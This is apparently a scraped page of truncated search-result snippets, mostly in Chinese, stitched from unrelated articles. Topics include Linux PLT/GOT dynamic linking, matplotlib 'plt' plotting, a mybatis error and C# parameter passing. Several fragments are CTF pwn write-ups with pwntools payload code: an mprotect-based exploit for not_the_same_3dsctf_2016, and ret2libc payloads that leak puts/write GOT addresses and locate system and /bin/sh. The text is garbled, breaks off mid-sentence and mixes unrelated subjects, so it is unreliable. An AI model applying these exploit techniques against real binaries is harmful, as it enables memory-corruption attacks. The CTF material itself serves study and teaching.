本文所用的依然是Linux x86 64位环境, 不过分析的ELF文件是32位的(-m32). 大局观 首先, 我们要知道, GOT和PLT只是一种重定向的实现方式..../bin/ls的解释器是/lib64/ld-linux-x86-64.so.2...., 包括了.got和.got.plt....首先是跳转到*0x804a00c, 该地址在.got.plt之中, 之前说了, .got.plt相当于 .plt的GOT, 而GOT本身相当于一个数组, 看看该"数组"的内容: (gdb) x/4xw....plt.got: 数据段(r-x)，与.plt类似，不过是保存外部变量的 其中.plt和.plt.got地址相邻，统称为PLT；.got与.got.plt地址相邻，统称为GOT。
Linux 动态链接 关于动态链接与静态链接，可以打个比方就是：如果我的文章引用了别人的一部分文字，在我发布文章的时候把别人的段落复制到我的文章里面就属于静态连接，而给链接让你们自己去找着看就属于动态链接了...PLT&GOT linux 下的动态链接是通过 PLT&GOT 来实现的，这里做一个实验，通过这个实验来理解 使用如下源代码 test.c： #include void print_banner...可执行文件里面保存的是 PLT 表的地址，对应 PLT 地址指向的是 GOT 的地址，GOT 表指向的就是 glibc 中的地址 那我们可以发现，在这里面想要通过 plt 表获取函数的地址，首先要保证...got 表已经获取了正确的地址，但是在一开始就进行所有函数的重定位是比较麻烦的，为此，linux 引入了延迟绑定机制 延迟绑定 只有动态库函数在被调用时，才会地址解析和重定位工作，为此可以使用类似这样的代码来实现...，plt 表的第一条都是跳转到对应的 got 表项，而 got 表项的内容我们可以通过 gdb 来看一下，如果函数还没有执行的时候，这里的地址是对应 plt 表项的下一条命令，即 push 0x0 （说一下怎么查看
mprotect函数详解 在Linux中，mprotect()函数可以用来修改一段指定内存区域的保护属性 函数原型如下： #include #include <sys/mmap.h...mprotect函数的利用 这个函数利用方式为将目标地址：.got.plt或.bss段 修改为可读可写可执行 例题分析 not_the_same_3dsctf_2016 原题链接：https://buuoj.cn...第二个参数需要设置为被修改内存的大小，这里我还没完全弄明白具体要设置多大，这里我设置为0x100 第三个参数需要设置为被修改内存的权限，这里设置为7 = 4 + 2 + 1 (rwx) 也就是读写执行，这里如果不是很理解，可以百度一下Linux...= 0x080EB000 # .got.plt表的起始地址 got_plt_size = 0x100 # 内存长度 got_plt_type = 0x7 # 内存权限，读写执行 def main...) + p32(got_plt_size) + p32(got_plt_type) # mprotect的三个参数 payload += p32(elf.symbols['read']) #
最近刚刚接触到PLT与GOT，所以就想以此篇文章来巩固一下我对于这对姐妹花的理解啦！刚刚接触，理解不深，还请大佬轻喷！...二、代码示例引入 对程序运行有个大致的概念后，我们再利用一个小程序来引入对PLT和GOT姐妹花的正式的讲解啦！...存放调用跳转代码的过程表，称为过程链接表（PLT：call跳转PLT表，然后PLT表在call + GOT的绝对地址实现函数的调用）。 如下，为动态链接的一个简要示意图： ?...因此Linux便产生了延迟重定位：也就是当你调用函数的时候函数才开始执行重定位和地址解析工作。...地址，并写到printf@got goto address_good; } 从代码可知，没有重定位时执行printf@plt时，printf@got存放的是下一句的地址，类似于 jmp
作用 为提高CPU的利用效率，程序在编译的时候会采用两种表进行辅助，即 plt表和got表。 plt表为（Procedure Link Table），是程序链接表。...而got表为（Global Offset Table），是一个存储外部库函数的表，全局偏移表。...当程序在第一次运行的时候，会进入已被转载进内存中的动态链接库中查找对应的函数和地址，并把函数的地址放到got表中，将got表的地址数据映射为plt表的表项；在程序二次运行的时候，就不用再重新查找函数地址...，而是直接通过plt表找到got表中函数的地址，从而执行函数的功能了。...查看got表 objdump -R stack ?
['VALUE']) plt.show() ?...可以看出横坐标太长，我们可以旋转一下横坐标 plt.plot(first_twelve['DATE'], first_twelve['VALUE']) plt.xticks(rotation=90) #...横坐标每个值旋转90度 plt.xlabel('Month') plt.ylabel('Unemployment Rate') plt.title('Monthly Unemployment Trends..., 1948') plt.show() ?...24 months') plt.legend(loc='best') plt.show() ?
(10) colors=np.random.rand(10) area=(30*np.random.rand(10))**2 plt.scatter(x,y,s=area,c=colors,alpha...=0.5) plt.show() 结果： 2.修改上面的代码的maker，改成x的样本 import numpy as np import matplotlib.pyplot as plt np.random.seed...(x,y,s=area,c=colors,alpha=0.5,marker='x') plt.show() 结果: 3.修改之前的代码的s，表示大小都是一致的。...(10) colors=np.random.rand(10) area=(30*np.random.rand(10))**2 plt.scatter(x,y,s=200,c=colors,alpha=...0.5,) plt.show() 结果： 4.修改其中的linewidth参数的大小，看到其中的不同了吗？
(X.reshape(10), Y.reshape(10), c =label, s = 180, cmap = plt.cm.Spectral) plt.show() ?...plt.scatter(X.reshape(10), Y.reshape(10), c =label, s = 180, cmap = plt.cm.Spectral)中的cmap = plt.cm.Spectral...cmap = plt.cm.Spectral实现的功能是给label为1的点一种颜色，给label为0的点另一种颜色。...(X.reshape(6), Y.reshape(6), c = label, s = 180, cmap = plt.cm.Spectral) plt.show() ?...也可以通过plt.cm.Spectral(parameters)中的parameters来指定生成的颜色种类，例如plt.cm.Spectral(np.arange(5))将生成5中不同的颜色，而在例子
Brief 在学习方法/函数时，我们总会接触到 按值传值 和 引用传值 两个概念。像C#是按值传...
fig = plt.figure() ax = fig.add_subplot(1,1,1) fig, ax = plt.subplots(1,3),其中参数1和3分别代表子图的行数和列数，一共有 1x3...fig, ax = plt.subplots(1,3,1),最后一个参数1代表第一个子图。...如果想要设置子图的宽度和高度可以在函数内加入figsize值 fig, ax = plt.subplots(1,3,figsize=(15,7))，这样就会有1行3个15x7大小的子图。...控制子图 方法1：通过plt控制子图 方法2：通过ax控制子图 # Creates two subplots and unpacks the output array immediately fig...= plt.figure() ax1, ax2 = fig.subplots(1, 2, sharey=True) ax1.plot(x, y) ax1.set_title('Sharing Y axis
当要处理批量图片，且每张图片都要进行显示时，用plt.imshow() plt.show()会出现内存泄漏, 管理器中看到其中一个python进程的内存不断上涨，目前有找到解决方法 from matplotlib...import pyplot as plt ... for...: ......plt.figure(figsize=IMAGE_SIZE) plt.imshow(image_np) plt.show() 补充知识：python在内存中读取base64图片 import base64...import skimage.io import matplotlib.pyplot as plt def base64_to_rgb(base64_str): """ 默认base64中的图像为...(img) plt.show() 以上这篇解决python中显示图片的plt.imshow plt.show()内存泄漏问题就是小编分享给大家的全部内容了，希望能给大家一个参考。
ROP-ret2libc基础知识 前提知识准备 Linux延时绑定机制 Linux演示绑定机制的实现 延迟绑定对我们有什么意义 libc函数在哪？...ret2libc使用条件 如何使用libc plt表和got表的关系 整体的跟踪 前提知识准备 Linux延时绑定机制 动态连接的程序调用了libc的库函数，但是libc在运行才被加载到内存中，调用libc...Linux演示绑定机制的实现 a、所有程序调用的libc函数都有对应的plt和got表，其位置固定 b、plt表：调用call put@plt plt表中存放的指令：jmp[puts_got] c、...，用于泄露地址 覆盖新地址到got表，劫持函数的流程 plt表： 不用知道libc函数真实地址，使用plt地址就可以调用函数 libc就是linux下的c函数库： libc中包含着各种常用的函数，...表和got表的关系 这个图一定要理解了 每次调试一个函数的时候，我们都会看到一个call puts@plt，它会从plt表中来找一个真实地址，真实地址呢都是在我没的got表中，plt表再去got表来找
In computer science, an instruction set architecture (ISA), also called computer...
1、plt.plot(x,y,color) 折线坐标图 import matplotlib.pyplot as plt h = np.linspace(1, 10, 10) v = np.linspace...(20,30, 10) print(h, v) plt.subplot(221) plt.title('test') plt.ylabel('zongzuobiao') plt.xlabel('hengzuobiao...') plt.plot(h, v, 'r') #参1 横坐标，参2 纵坐标 参3 颜色 plt.subplot(224) plt.ylabel('zongzuobiao2') plt.xlabel(...'hengzuobiao2') plt.plot(h, v, 'b') #参1 横坐标，参2 纵坐标 参3 颜色 plt.show() 结果： ?...注： plt.xlabel()/plt.ylabel()需要在plt.subplot()后面，否则不起作用。
fig, ax = plt.subplots(1,3),其中参数1和3分别代表子图的行数和列数，一共有 1x3 个子图像。函数返回一个figure图像和子图ax的array列表。...fig, ax = plt.subplots(1,3,1),最后一个参数1代表第一个子图。...如果想要设置子图的宽度和高度可以在函数内加入figsize值：fig, ax = plt.subplots(1,3,figsize=(15,7))，这样就会有1行3个15x7大小的子图。
在linux下我们可以使用-shared -fpic生成so文件。...内存布局 GOT(Global offset table) - 动态函数入口，elf中位于.got段，不可执行数据 PLT(Procedure linkage table) - 桩函数，elf中位于.got.plt...PLT由调用GOT代码+桩代码组成。桩代码用于动态修改GOT表。 GOT初始指向桩代码，后来指向动态函数。...PLT索引 = 函数索引x+1 GOT索引 = 函数索引x+3 初次调用，惰性加载 调用PLT[x+1] 跳转*GOT[x+3](桩代码地址) 传递动态链接函数索引x 跳转PLT[0] 传递动态链接表地址...GOT[1] 跳转*GOT[2](动态链接器函数地址) 修改GOT[x+3]为动态函数地址 后续调用，直接跳转 调用PLT[x+1] 跳转*GOT[x+3](动态函数地址) 应用 #include
目录 一、idea mybatis错误信息 二、解决方法 三、效果 一、idea mybatis错误信息 or DELIMITER expected, got ‘id’
=elf.plt['puts'] puts_got_addr =elf.got['puts'] main_addr =elf.sym['_start'] payload = "a"*54 payload... += p32(puts_plt_addr)+p32(main_addr)+p32(puts_got_addr) write构造payload（泄露write函数的地址） write_plt_addr ...=elf.plt['write'] write_got_addr =elf.got['write'] main_addr =elf.sym['main'] payload = "a"*60 payload.../nx") libc = ELF("/lib/i386-linux-gnu/libc.so.6") puts_plt = elf.plt["puts"] main_addr = elf.symbols[...'main'] puts_got = elf.got['puts'] payload = "a"*76 payload += p32(puts_plt) payload += p32(main_addr
在使用intellij idea时，当通过如下方式使用时，matplotlib.pyplot导入报错，使用方法如下： import matplotlib.pyplot as plt # 创建一个图形和一个子图...fig, ax = plt.subplots() 其中，会出现诸如module ‘matplotlib.pyplot’ has no attribute 'switch_backend’等问题。
这里我们需要了解几个知识点： （1）system 函数属于 libc，而 libc.so 动态链接库中的函数之间相对偏移是固定的（即使打开ASLR也是这样的） （2）在linux的gcc使用C语言源文件的二进制文件时...（4）GOT表项中的数据才是函数最终的地址，而PLT表中的数据又是GOT表项的地址，我们就可以通过PLT表跳转到GOT表来得到函数真正的地址 （5）地址随机化并没有对PLT表、GOT表产生作用 了解到上面的知识点后...这里可以看见调用了gets（）函数，还可以看见gets@plt 那么使用此语句查看PLT表：objdump -d -M intel -j .plt 1.exe ?...可以看见在我们执行gets函数时，我们会先去到plt表，然后又会jmp到GOT里面的真实地址：0x8049030 接下来我们计算计算system、/bin/sh与gets函数的相对偏移 ?...")p=process("1.exe")//加载1.exe进程e=ELF("1.exe")//加载1.exe文件,分析ELF结构addr_write=e.plt["write"]addr_gets=e.got
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